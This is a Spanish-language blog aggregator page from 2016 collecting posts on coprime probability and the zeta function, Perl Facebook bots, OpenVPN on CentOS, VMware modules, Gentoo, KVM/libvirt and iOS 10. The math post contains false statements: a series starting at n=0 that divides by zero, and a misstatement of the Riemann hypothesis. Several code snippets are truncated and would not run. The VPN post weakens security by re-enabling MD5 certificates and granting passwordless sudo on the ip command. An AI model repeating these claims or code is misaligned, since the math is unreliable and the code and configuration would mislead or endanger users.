$latex P_{\alpha,\beta}=\frac{1}{\sum_{n=0}^{\infty}\frac{1}{n^2}}=\frac{1}{1+\frac{1}{2^2}+\frac{1}{3^2}+\frac{1}{4^2}+...+\frac{1}{n^2}+...}$, es bien sabido que esta serie en el denominador $latex \sum_{n=0}^\infty \frac{1}{n^2}=\frac{\pi^2}{6}$

Es sabido el resultado de esta serie si juegas con la expansión en series de $latex \frac{sen(x)}{x}$
o como el problema de Basilea

Por lo tanto, sabiendo esto, llegamos a este hermoso resultado en teoría analítica de números.

Sean $latex \alpha,\beta \in \mathbb{N}$ donde $latex \alpha,\beta$  < $latex N$, entonces la probabilidad de que $latex \alpha$ y $latex \beta$ NO tengan factores en común (sean primos relativos) es:   $latex P_{\alpha,\beta}=\frac{6}{\pi^2}\approx 0.6079...$

De hecho, es equivalente esto a la función $latex \zeta$ de Riemann evaluada en $latex 2$ , y la fómula  *** que encontramos es justamente la representación con números primos de la función zeta de Riemann por Euler, pueden verlo aquí así como como la función zeta de Riemann en 2 $latex \zeta(2)$, esta función es de las más importantes en matemáticas ya que se ha buscado generalizar a muchos espacios, teoría de curvas, et cétera donde ya tiene solución, pero no en los complejos, la cual llevaría a conocer mejor la distribución de los números primos, si la resuelves te darán 1 millón de dólares, esta función es $latex \zeta(s)=\sum_{n=1}^\infty \frac{1}{n^s}$ y necesitas demostrar que $latex \zeta(s) =0$ siempre que $latex s=\frac{1}{2}+it$ con $latex t\in \mathbb{R}$ , eso traerá consecuencias muy imporantes en teoría de números y distribución de primos, criptografía, et cétera, esto es sólo una probadita

También con WolframAlpha pueden ver el valor de la función zeta de Riemann en 2 y en el valor que quieran: aquí
Espero les haya gustado

Eduardo Ruíz Duarte
twitter @toorandom

Domingo 21 de agosto de 2016

David Moreno

David Moreno
dm's blog

WIP: Perl bindings for Facebook Messenger

A couple of weeks ago I started looking into wrapping the Facebook Messenger API into Perl. Since all the calls are extremely simple using a REST API, I thought it could be easier and simpler even, to provide a small framework to hook bots using PSGI/Plack.

So I started putting some things together and with a very simple interface you could do a lot:

use strict;
use warnings;
use Facebook::Messenger::Bot;

my $bot = Facebook::Messenger::Bot->new({
    access_token   => '...',
    app_secret     => '...',
    verify_token   => '...'

$bot->register_hook_for('message', sub {
    my $bot = shift;
    my $message = shift;

    my $res = $bot->deliver({
        recipient => $message->sender,
        message => { text => "You said: " . $message->text() }


You can hook a script like that as a .psgi file and plug it in to whatever you want.

Once you have some more decent user flow and whatnot, you can build something like:

…using a simple script like this one.

The work is not finished and not yet CPAN-ready but I’m posting this in case someone wants to join me in this mini-project or have suggestions, the work in progress is here.


Jueves 18 de agosto de 2016

Mas sobre MOOC

Y bueno por otro lado he escrito lo que pensé cuando salieron los MOOC, lo que me lleve de sorpresa cuando los utilice y posteriormente mi desencanto por mis altas expectativas para resolver con ellos cosas para lo que no están diseñados y para las que se ha visto repetidamente que todavía no funcionan bien, en aquellas entradas pensé haber citado este trabajo que es muy bueno y completo, no lo hice y hoy que lo estaba recomendando a unos estudiantes que están trabajando con el tema me costo algo de trabajo encontrarlo, lo pongo aquí porque de haberlo leído un poco antes es bien probable que no hubiese tenido que experimentar la ultima, etapa o siquiera que tener que discutir por acá de si debíamos o no siquiera pensar en esta herramienta (que sigo creyendo que si, pero no para lo que lo quieren usar), creo que lo que esta haciendo Alex en Iztacala va sernos muy útil para entender mejor y sacarle jugo o crearnos algo para lo que queremos.

Hollands, F. M., & Tirthali, D. (2014). MOOCs: expectations and reality. Full report. Center for Benefit Cost Studies of Education, Teachers College, Columbia University, NY. Retrieved from:

Miércoles 17 de agosto de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Talking about the Debian keyring in Investigaciones Nucleares, UNAM

For the readers of my blog that happen to be in Mexico City, I was invited to give a talk at Instituto de Ciencias Nucleares, Ciudad Universitaria, UNAM.

I will be at Auditorio Marcos Moshinsky, on August 26 starting at 13:00. Auditorio Marcos Moshinsky is where we met for the early (~1996-1997) Mexico Linux User Group meetings. And... Wow. I'm amazed to realize it's been twenty years that I arrived there, young and innocent, the newest of what looked like a sect obsessed with world domination and a penguin fetish.

llavero_chico.png220.84 KB
llavero_orig.png1.64 MB

Jueves 11 de agosto de 2016

Alex Callejas

Alex Callejas

OpenVPN client en CentOS/RHEL

La única forma que conocen los humanos de llegar a alguna parte es dejando algo atrás…

Joseph CooperInterestellar


Hace unos días, un cliente me comentó que actualizó sus terminales de venta (que utilizaban Fedora 23) a CentOS 7, debido a cuestiones de estabilidad; pero que tenía problemas para conectarse a su VPN.

Al intentar conectarse obtenía el error:

[root@terminal openvpn]# openvpn --config client.conf 
Thu Jul 04 09:13:53 2016 OpenVPN 2.3.11 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 10 2016
Thu Jul 04 09:13:53 2016 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 2.06
Thu Jul 04 09:13:53 2016 WARNING: No server certificate verification method has been enabled. See for more info.
Thu Jul 04 09:13:53 2016 Socket Buffers: R=[87380->87380] S=[16384->16384]
Thu Jul 04 09:13:53 2016 Attempting to establish TCP connection with [AF_INET] [nonblock]
Thu Jul 04 09:13:54 2016 TCP connection established with [AF_INET]
Thu Jul 04 09:13:54 2016 TCPv4_CLIENT link local: [undef]
Thu Jul 04 09:13:54 2016 TCPv4_CLIENT link remote: [AF_INET]
Thu Jul 04 09:13:54 2016 TLS: Initial packet from [AF_INET], sid=a0dc7955 8adfd915
Thu Jul 04 09:13:55 2016 VERIFY OK: depth=1, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=Mi Changarrito S.A. de C.V. CA,
Thu Jul 04 09:13:55 2016 VERIFY ERROR: depth=0, error=certificate signature failure: C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=server-er,
Thu Jul 04 09:13:55 2016 OpenSSL: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Thu Jul 04 09:13:55 2016 TLS_ERROR: BIO read tls_read_plaintext error
Thu Jul 04 09:13:55 2016 TLS Error: TLS object -> incoming plaintext read error
Thu Jul 04 09:13:55 2016 TLS Error: TLS handshake failed
Thu Jul 04 09:13:55 2016 Fatal TLS error (check_tls_errors_co), restarting
Thu Jul 04 09:13:55 2016 SIGUSR1[soft,tls-error] received, process restarting
Thu Jul 04 09:13:55 2016 Restart pause, 5 second(s)
Thu Jul 04 09:14:00 2016 WARNING: No server certificate verification method has been enabled. See for more info.

Al revisar el mensaje de error, se observa que el problema es el certificado de SSL que no puede ser leído. Esto se debe a que el soporte a certificados encriptados con MD5 y SHA1 fue retirado de CentOS.

Por lo que hay que setear unas variables de ambiente en el perfil de root, para agregar el soporte de MD5:

[root@terminal openvpn]# vi ~/.bash_profile
[root@terminal openvpn]#

Al realizar esta configuración y cargar dichas variables, la conexión se logra sin problemas:

[root@terminal openvpn]# openvpn --config client.conf
Thu Jul 04 22:25:38 2016 OpenVPN 2.3.11 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 10 2016
Thu Jul 04 22:25:38 2016 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 2.06
Thu Jul 04 22:25:38 2016 WARNING: No server certificate verification method has been enabled. See for more info.
Thu Jul 04 22:25:38 2016 WARNING: file 'changarrin1818a.key' is group or others accessible
Thu Jul 04 22:25:38 2016 Socket Buffers: R=[87380->87380] S=[16384->16384]
Thu Jul 04 22:25:42 2016 Attempting to establish TCP connection with [AF_INET] [nonblock]
Thu Jul 04 22:25:43 2016 TCP connection established with [AF_INET]
Thu Jul 04 22:25:43 2016 TCPv4_CLIENT link local: [undef]
Thu Jul 04 22:25:43 2016 TCPv4_CLIENT link remote: [AF_INET]
Thu Jul 04 22:25:43 2016 TLS: Initial packet from [AF_INET], sid=bfa77b04 f30e3b9f
Thu Jul 04 22:25:43 2016 VERIFY OK: depth=1, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=Mi Changarrito S.A. de C.V. CA,
Thu Jul 04 22:25:43 2016 VERIFY OK: depth=0, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=server-er,
Thu Jul 04 22:25:44 2016 Data Channel Encrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Thu Jul 04 22:25:44 2016 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Thu Jul 04 22:25:44 2016 Data Channel Decrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Thu Jul 04 22:25:44 2016 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Thu Jul 04 22:25:44 2016 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA
Thu Jul 04 22:25:44 2016 [server-er] Peer Connection Initiated with [AF_INET]
Thu Jul 04 22:25:46 2016 SENT CONTROL [server-er]: 'PUSH_REQUEST' (status=1)
Thu Jul 04 22:25:46 2016 PUSH: Received control message: 'PUSH_REPLY,route,route,route,route,route,topology net30,ping 20,ping-restart 60,ifconfig'
Thu Jul 04 22:25:46 2016 OPTIONS IMPORT: timers and/or timeouts modified
Thu Jul 04 22:25:46 2016 OPTIONS IMPORT: --ifconfig/up options modified
Thu Jul 04 22:25:46 2016 OPTIONS IMPORT: route options modified
Thu Jul 04 22:25:46 2016 ROUTE_GATEWAY IFACE=eth0 HWADDR=52:54:00:69:6c:4b
Thu Jul 04 22:25:46 2016 TUN/TAP device tun0 opened
Thu Jul 04 22:25:46 2016 TUN/TAP TX queue length set to 100
Thu Jul 04 22:25:46 2016 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Thu Jul 04 22:25:46 2016 /usr/sbin/ip link set dev tun0 up mtu 1500
Thu Jul 04 22:25:46 2016 /usr/sbin/ip addr add dev tun0 local peer
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add via
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add via
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add via
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add via
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add via
Thu Jul 04 22:25:46 2016 Initialization Sequence Completed

^CThu Jul 04 22:25:56 2016 event_wait : Interrupted system call (code=4)
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del
Thu Jul 04 22:25:56 2016 Closing TUN/TAP interface
Thu Jul 04 22:25:56 2016 /usr/sbin/ip addr del dev tun0 local peer
Thu Jul 04 22:25:56 2016 SIGINT[hard,] received, process exiting
[root@terminal openvpn]#

Sin embargo, la conexión se debe ejecutar como un usuario sin privilegios de administrador; entonces debemos realizar una configuración que le permita a este usuario crear los dispositivos y las rutas necesarias para completar la conexión. Para esto

Como root:

  • Crear el script /usr/local/sbin/unpriv-ip
[root@terminal ~]# vi /usr/local/sbin/unpriv-ip
sudo /sbin/ip $*
[root@terminal ~]#
  • Editar la configuración de sudo para otorgar permisos sobre las interfaces de red
[root@terminal ~]# visudo
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
chalan ALL=(ALL) NOPASSWD: /sbin/ip
  • Editar el archivo de configuración de cliente de la vpn como:
[root@terminal ~]# vi /etc/openvpn/client.conf
dev tun0
iproute /usr/local/sbin/unpriv-ip
proto tcp
remote 1194
resolv-retry infinite
ca ca.crt
cert changarrito1818a.crt
key changarrito1818a.key
cipher DES-EDE3-CBC
verb 3
[root@terminal ~]#
  • Crear el dispositivo persistente de conexión:
[root@terminal ~]# openvpn --mktun --dev tun0 --dev-type tun --user chalan --group wheel
  • Validar la creación del dispositivo
[root@terminal ~]# ip addr show tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc pfifo_fast state DOWN qlen 100
[root@terminal ~]#

Como usuario:

  • Verificar los permisos de sudo
[chalan@terminal ~]$ sudo -l
Matching Defaults entries for chalan on this host:
 requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
 env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User chalan may run the following commands on this host:
 (ALL) NOPASSWD: /sbin/ip
[chalan@terminal ~]$
  • Probar la conexión a la vpn:
[chalan@terminal ~]$ cd /etc/openvpn
[chalan@terminal openvpn]$ openvpn --config client.conf
Wed Jul 10 12:20:04 2016 OpenVPN 2.3.11 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 10 2016
Wed Jul 10 12:20:04 2016 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 2.06
Wed Jul 10 12:20:04 2016 WARNING: No server certificate verification method has been enabled. See for more info.
Wed Jul 10 12:20:04 2016 WARNING: file 'changarrito1818a.key' is group or others accessible
Wed Jul 10 12:20:04 2016 Socket Buffers: R=[87380->87380] S=[16384->16384]
Wed Jul 10 12:20:14 2016 Attempting to establish TCP connection with [AF_INET] [nonblock]
Wed Jul 10 12:20:15 2016 TCP connection established with [AF_INET]
Wed Jul 10 12:20:15 2016 TCPv4_CLIENT link local: [undef]
Wed Jul 10 12:20:15 2016 TCPv4_CLIENT link remote: [AF_INET]
Wed Jul 10 12:20:15 2016 TLS: Initial packet from [AF_INET], sid=bb779162 bdcacb5c
Wed Jul 10 12:20:17 2016 VERIFY OK: depth=1, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=Mi Changarrito S.A. de C.V. CA,
Wed Jul 10 12:20:17 2016 VERIFY OK: depth=0, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=server-er,
Wed Jul 10 12:20:17 2016 Data Channel Encrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Wed Jul 10 12:20:17 2016 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Wed Jul 10 12:20:17 2016 Data Channel Decrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Wed Jul 10 12:20:17 2016 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Wed Jul 10 12:20:17 2016 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA
Wed Jul 10 12:20:17 2016 [server-er] Peer Connection Initiated with [AF_INET]
Wed Jul 10 12:20:19 2016 SENT CONTROL [server-er]: 'PUSH_REQUEST' (status=1)
Wed Jul 10 12:20:20 2016 PUSH: Received control message: 'PUSH_REPLY,route,route,route,route,route,topology net30,ping 20,ping-restart 60,ifconfig'
Wed Jul 10 12:20:20 2016 OPTIONS IMPORT: timers and/or timeouts modified
Wed Jul 10 12:20:20 2016 OPTIONS IMPORT: --ifconfig/up options modified
Wed Jul 10 12:20:20 2016 OPTIONS IMPORT: route options modified
Wed Jul 10 12:20:20 2016 ROUTE_GATEWAY IFACE=eth0 HWADDR=52:54:00:92:cf:f5
Wed Jul 10 12:20:20 2016 TUN/TAP device tun0 opened
Wed Jul 10 12:20:20 2016 Note: Cannot set tx queue length on tun0: Operation not permitted (errno=1)
Wed Jul 10 12:20:20 2016 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Wed Jul 10 12:20:20 2016 /usr/local/sbin/unpriv-ip link set dev tun0 up mtu 1500
Wed Jul 10 12:20:20 2016 /usr/local/sbin/unpriv-ip addr add dev tun0 local peer
Wed Jul 10 12:20:20 2016 /usr/local/sbin/unpriv-ip route add via
Wed Jul 10 12:20:21 2016 /usr/local/sbin/unpriv-ip route add via
Wed Jul 10 12:20:22 2016 /usr/local/sbin/unpriv-ip route add via
Wed Jul 10 12:20:23 2016 /usr/local/sbin/unpriv-ip route add via
Wed Jul 10 12:20:23 2016 /usr/local/sbin/unpriv-ip route add via
Wed Jul 10 12:20:24 2016 Initialization Sequence Completed

Una vez que se han validado las configuraciones, para conectarse únicamente se requerirá utilizar el comando:

[chalan@terminal ~]$ cd /etc/openvpn
[chalan@terminal openvpn]$ openvpn --config client.conf

Espero les sirva…



[CentOS7:OpenVPN] VERIFY ERROR: depth=0, error=certificate signature failure

OpenVPN Howto: Unprivileged Mode

Viernes 05 de agosto de 2016

José Oviedo

José Oviedo

Problema con VMware y Ubuntu 16.10 (GCC 6)

Despues de actualizar Ubuntu a la versión 16.10 Yakkety con el Kernel 4.4.0 y al iniciar VMware, me encuentro con un error de que no puede encontrar la librería GCC versión 5.3.1 ya que la actualización la cambio a GCC version 6.1.1 20160724 (Ubuntu 6.1.1-10ubuntu11)


La solución es compilar los módulos de vmmon y vmnet con la última versión GCC y el nuevo Kernel.
Lo primero es descargar una versión del VMware Workstation Player 12.0 (esa es la que yo tengo actualmente) para descomprimir y compilar los módulos.

En esta página lo descargamos:

Después ejecutar los siguientes pasos (todo como Root)

chmod +x VMware-Player-12.1.1-3770994.x86_64.bin
./VMware-Player-12.1.1-3770994.x86_64.bin -x temp
tar xf ./temp/vmware-vmx/lib/modules/source/vmmon.tar
tar xf ./temp/vmware-vmx/lib/modules/source/vmnet.tar

Lo que hacemos con el -x temp, es descomprimir el .BIN, para despues, descomprimir los módulos vmmon y vmnet, lo siguiente es iniciar la compilación (asegurate de tener las librerias de compilación: sudo apt-get install build-essential linux-headers-generic )

cd vmmon-only
cd ..

cd vmnet-only
cd ..

Y por último copiamos lo compilado a la carpeta de módulos del Kernel actual

mkdir /lib/modules/`uname -r`/misc
cp vmmon.o /lib/modules/`uname -r`/misc/vmmon.ko
cp vmnet.o /lib/modules/`uname -r`/misc/vmnet.ko
depmod -a
/etc/init.d/vmware restart


Y listo! ya debe de funcionar, ahora, si actualizamos el Kernel, debemos de seguir estos pasos, hasta que se tenga una solución automatizada.

Viernes 29 de julio de 2016

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

Asset Previewer

Mobile developers are working with all kinds of graphics assets and until now, to preview them, we would use an external tool to browse them.

We have developed a plug-in for both Visual Studio and Xamarin Studio that will provide live previews of various assets right into the IDE. It works particularly well for UrhoSharp projects.

The previewer can display in the IDE previews of the following asset types.

  • Static Models (*.mdl files)
  • Materials, Skyboxes, Textures (*.dds)
  • Animations (*.ani)
  • 2D and 3D Particles (*.pex)
  • Urho Prefabs (*.xml if the XML is an Urho Prefab)
  • Scenes (*.xml if the XML is an Urho Scene)
  • SDF Fonts (*.sdf)
  • Post-process effects (*.xml if the XML is an Urho RenderPath)
  • Urho UI layouts (*.xml if the XML is an Urho UI).

For Visual Studio, just download the previwer from the Visual Studio Gallery.

For Xamarin Studio, go to Xamarin Studio > Add-ins go to the "Gallery" tab, and search for "Graphics asset previewer" and install.

Viernes 15 de julio de 2016

Howto: install Air XR18’s edit software on Gentoo

Well, I’ve made the best buy a GNU & Linux user can make when it comes to pro-audio. I got an Air XR18. This product is one of the best of it’s kind. The preamps, FX and software are awesome.

Yes, it works fine on GNU & Linux and Android. Here’s how to make it work on Gentoo, if you have a x86_64/multilib installation.

# enable abi_x86_32 for the required libraries
cat << EOF > /etc/portage/package.use/air-xr18
dev-libs/libpthread-stubs abi_x86_32
media-libs/alsa-lib abi_x86_32
x11-libs/libX11 abi_x86_32
x11-libs/libXau abi_x86_32
x11-libs/libXdmcp abi_x86_32
x11-libs/libXext abi_x86_32
x11-libs/libxcb abi_x86_32
x11-proto/inputproto abi_x86_32
x11-proto/kbproto abi_x86_32
x11-proto/xcb-proto abi_x86_32
x11-proto/xextproto abi_x86_32
x11-proto/xf86bigfontproto abi_x86_32
x11-proto/xproto abi_x86_32
media-libs/freetype abi_x86_32
sys-libs/zlib abi_x86_32
app-arch/bzip2 abi_x86_32
media-libs/libpng abi_x86_32

# update @world
emerge -ajuDN @world

# run the software
# ...

It works fine and it looks really cool! I really recommend you consider the Air XR18 if you’re into those things.

I dunno who is pushing GNU & Linux compatibility down there at the Music Group, but it’s the right thing to do! Kudos to them!

Viernes 08 de julio de 2016

Instalar Qemu/KVM, libvirt y virt-manager en Ubuntu/Debian aka Virtualizacion

Ocupaba correr unas maquinas virtuales para levantar un laboratorio en la laptop de la oficina que tiene ubuntu 14.04, lo primero y mas fácil que pensé fue instalar VMware Workstation y utilizar la licencia que se tiene en la empresa, pero al no necesitar desplegar algún OVA o algo especifico que me obligue a utilizar VMware Workstation pues quize experimentar, otra opción puede ser utilizar VirtualBox pero nunca me ha gustado, al final decidí utilizar el camino libre ;).


Libvirt Logo

libvirt es una API de código abierto, es una herramienta para la administración de maquinas virtuales, soporta los siguientes hypervisores KVM/Qemu, Xen, LXC, OpenVZ, VirtualBox, Hyper-V, y de VMware soporta ESX y Workstation.

libvirt support

KVM logo

KVM (Kernel based Virtual Machine) es un modulo del kernel que permite utilizar las extensiones de virtualización de los procesadores que en casi todos los procesadores actuales ya sea Intel (vmx) o AMD (svm) esta soportado tanto para arquitectura x86 como x86_64.

virt-manager es una aplicacion de escritorio para administrar maquinas virtuales por medio de libvirt, su principal foco es para maquinas virtuales en KVM, pero también soporta Xen y LXC, su interfaz permite ver un resumen de las maquinas y una vista rápida de los recursos utilizados, tiene un asistente (wizard) para crear Maquinas Virtuales, tiene un cliente VNC y SPICE para tener acceso a la consola gráfica de las maquinas virtuales.


Primeros Pasos

Lo primero que hay que realizar es verificar que nuestro procesador soporte las extensiones de virtualización, si la maquina donde vamos a probar tiene un procesador fabricado aproximadamente después del 2006 no deberíamos tener problema, siempre y cuando no sean de la gama baja, Intel Atom, Intel Celeron.

grep --color -e svm -e vmx /proc/cpuinfo


Los primeros pasos siempre en cualquier distribución debería ser actualizar.

sudo apt-get update
sudo apt-get dist-upgrade

Instalación de los paquetes necesarios

sudo apt-get install qemu-kvm libvirt-bin virtinst kvm virt-manager virt-viewer

Darle permisos a nuestro usuario en Debian

sudo adduser tyo100 kvm
sudo adduser tyo100 libvirt

Lo mismo para Ubuntu

sudo adduser tyo100 kvm

Con esto tendremos la primer parte lista para virtualizar, binarios y configuración

Configuración de Red

Para mi es suficiente con la red que viene por defecto, una red tipo NAT, por lo que no entrare en mas detalles, para workstation es suficiente en modo servidor puedes utilizar modo bridge para conectar a la red física y dar soporte para vlan.


Para guardar las imágenes, discos o volumes, de las maquinas virtuales podemos utilizar distintos tipos de pools, los mas comunes suelen ser:

  • Directory (es la que vamos a utilizar, guarda los archivos en el directorio que especifiques)
  • Local Filesystem (similar al anterior, pero este es dueño del FS y lo monta donde se especifique)
  • Network filesystem (este guarda las imágenes remotamente, por lo general un NFS)
  • Logical (genera Logical Volumes para las maquinas en base a un Volume Group asignado)
  • Disk (utiliza un disco completo y va creando particiones en el disco para ir generando los volumes)

Agregamos nuestro primer storage-pool con virt-manager, abrimos virt-manager, damos doble click en nuestra maquina local (QEMU/KVM).


Nos muestra el resumen, nos vamos a la pestaña de almacenamiento y después damos click en ‘+’


Luego nos saldrá el asistente para agregar el storage-pool, seleccionamos dir y le asignamos un nombre en este caso HighIO y damos click en siguiente


Le damos una ruta donde se van a guardar las imagenes en este caso estoy utilizando /VirtualMachines/HighIO/disks que es un LV con cache en ssd, damos en finalizar y con esto tendremos el storage-pool listo para ser utilizado


Para hacerlo desde la linea de comandos se utliza virsh, el objetivo seria agregar /VirtualMachinesLowIO/images/ como storage-pool con nombre LowIO.

Definimos el storage-pool

mtello@workstation:~$ virsh pool-define-as LowIO dir - - - - "/VirtualMachinesLowIO/images/"
Se ha definido el grupo LowIO

Listamos los storage-pool

mtello@workstation:~$ virsh pool-list --all
Nombre Estado Inicio automático
default activo si
HighIO activo si
LowIO inactivo no

Ahí nos muestra nuestro nuevo storage-pool LowIO pero lo muestra inactivo y la opcion de inicio automatico desactivado, para activarlo hay que realizar lo siguiente

mtello@workstation:~$ virsh pool-start LowIO
Se ha iniciado el grupo LowIO

Ahora para marcarlo para que lo active automáticamente al iniciar la maquine, hay que escribir

mtello@workstation:~$ virsh pool-autostart LowIO
El grupo LowIO ha sido marcado como iniciable automáticamente

Listamos nuevamente y ya logramos el objetivo, agregamos el storage-pool LowIO, lo activamos y lo marcamos como inicio automatico

mtello@workstation:~$ virsh pool-list 
Nombre Estado Inicio automático
default activo si
HighIO activo si
LowIO activo si

Parecen ser mas pasos desde la linea de comando

Creación de una maquina con virt-manager

Y toda la guía inicio para crear maquinas virtuales, como estoy estudiando algunas cosas de Red Hat por lo que mi primer maquina en crear es una de CentOS,

Iniciamos… abrimos nuevamente el virt-manager y damos click en crear nueva maquina virtual


Seleccionamos desde donde vamos a instalar, en mi caso tengo el ISO


Seleccionamos Utilizar imagen ISO y ponemos la ruta del ISO


Seleccionamos cantidad de RAM y número de CPUs para asignar


Como no tengo ningún volumen creado, hay que crearlo desde el asistente, primer damos click en seleccionar o crear almacenamiento, después dar click en Administrar


Primero seleccionamos el storage-pool y después damos click en ‘+’ para crear un nuevo volumen


Definimos el nombre del volumen y la capacidad después damos click en finalizar


Seleccionamos el volumen que creamos y damos click en elegir volumen


Nos regresa al anterior asistente, damos click en adelante


Nos muestra un resumen de lo que se va realizar y elegimos el nombre de la maquina, esto lanzara la consola de la maquina


Si todo lo hemos hecho bien,  debemos de ver la maquina corriendo, iniciando del ISO que hayamos seleccionado



Con esto hemos terminado


Sábado 02 de julio de 2016

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Celebremos 6 años de OpenStack


OpenStack cumple 6 años de su lanzamiento. Es tiempo de celebrar!!!

Gracias al patrocinio de la OpenStack Foundation tendremos una gran fiesta :-)

Habra Pastel, Playeras conmemorativas, Stickers, Cerveza, Pizza.

Rifaremos un examen de certificación de OpenStack gracias al patrocinio de la OpenStack Foundation con valor de 300 USD.

Ademas habra mas información sobre el proximo Cloud Application Hackathon de OpenStack a realizarse del 9 al 11 de Septiembre en Guadalajara en las instalaciones del Tec. de Monterrey.

Los esperamos!

Viernes 01 de julio de 2016

LogicalBricks Solutions: Rails 5

Miércoles 22 de junio de 2016

Octavio Alvarez

Octavio Alvarez
Planeta Linux –


Este script permite poner en un archivo las últimas N líneas de una salida. Por ejemplo, ping [...] | alwayslast.bash FILE 10 permitiría que FILE tuviera las últimas 10 líneas de la salida de ping.

This script allows for a file to have the las N lines of an output. For example, ping [...] | alwayslast.bash FILE 10 would make FILE always have the last 10 lines from the output of ping.


if [ "$#" -ne 2 ]; then
 echo "Usage: $0 output_file maxlines"
 exit 2



while IFS= read -r NEWLINE; do

 trap -- 'rm "$TEMPFILE"' EXIT INT TERM

 for INDEX in $(seq "$((START+1))" "$((LINES-1))") $(seq 0 "$START"); do
 printf '%s\n' "${BUFFER[$INDEX]}"
 done > "$TEMPFILE"

 chmod --reference="$FILE" "$TEMPFILE"
 trap -- EXIT INT TERM

 if [ "$LINES" -gt "$MAXLINES" ]; then
 START="$(((START + 1) % MAXLINES))"

Gracias a Eduardo Bustamante por sus correcciones.

Miércoles 15 de junio de 2016

José Roberto Briones Argüelles

José Roberto Briones Argüelles

Lo que Apple nos quedó debiendo con iOS 10

¡Otro año, otra WWDC!

Después de tanta espera (¡por fin!) Apple presentó iOS 10, de igual forma la nueva versión de OS X MacOS que bautizaron como Sierra, y WatchOS 3. Pero… ¿se cumplieron las expectativas?

Primero que nada, veamos que hay de nuevo en iOS 10.

iOS 10

  • Notificaciones renovadas
  • Siri abierto a los desarrolladores (que no es poca cosa)
  • Desaparece en “Deslizar para desbloquear” de siempre.
  • Un teclado más inteligente, que ahora sugiere no solo palabras, sino contactos, o ubicaciones.
  • Nueva función “Raise to Wake” que es una bonita frase para decir que ahora al levantar el teléfono sin presionar nada se mostrarán tus notificaciones, esto con el fin de evitar que por error no las veas al ser TouchID tan rápido en reconocer tu huella.
  • Nueva App llamada “Home” que permite acceder a todos los dispositivos compatibles con Homekit (focos, persianas, cámaras) para hacer tu hogar más inteligente.
  • iMessage potenciado, parece ser que en Apple quieren apostar fuerte por la mensajería ya que agregaron muchas cosas nuevas a los mensajes, ahora puedes usar stickers, los emojis se ven 3 veces más grandes, puedes enviar mensajes y fotos ocultas (que para mostrarlas hay que pasar el dedo encima), agregar efectos a las burbujas de texto, y más.
  • Fotos más organizadas, ahora las fotos se podrán agrupar en eventos, y memorias automáticamente, así como reconocer rostros, y buscar por diferentes consultas como donde aparezcan determinadas personas, o aquellas tomadas en la playa, etc…
  • Mapas, Música y Noticias renovados, estos servicios recibieron un fuerte lavado de cara para ser más utilizados y evitar confusión entre las diferentes secciones que manejan.
  • Es posible borrar Apps nativas de iOS (¡Aleluya!), podrás por fin deshacerte de Apps como Contactos, iBooks, Bolsa, etc… que no usabas y que solo ocupaban espacio en el dispositivo (y visualmente) sin preocuparte, ya que podrás descargarlas de nuevo de la AppStore cuando las necesites.
  • Y muchos detalles más…

Si te perdiste la presentación aquí hay un muy buen resumen (en inglés) que muestra en tan solo 7 minutos todas las novedades que Apple presentó:

Muchas de las cosas que agregaron definitivamente le hacían falta a iOS, por ejemplo el abrir Siri para desarrolladores es algo que se venía pidiendo desde que Siri salió, ¿de qué servía Siri si solo se podía usar para Aplicaciones nativas que normalmente no usamos? Ahora podrás decirle a Siri que envíe un mensaje por WhatsApp a tu mamá o que envíe un correo a través de Outlook.

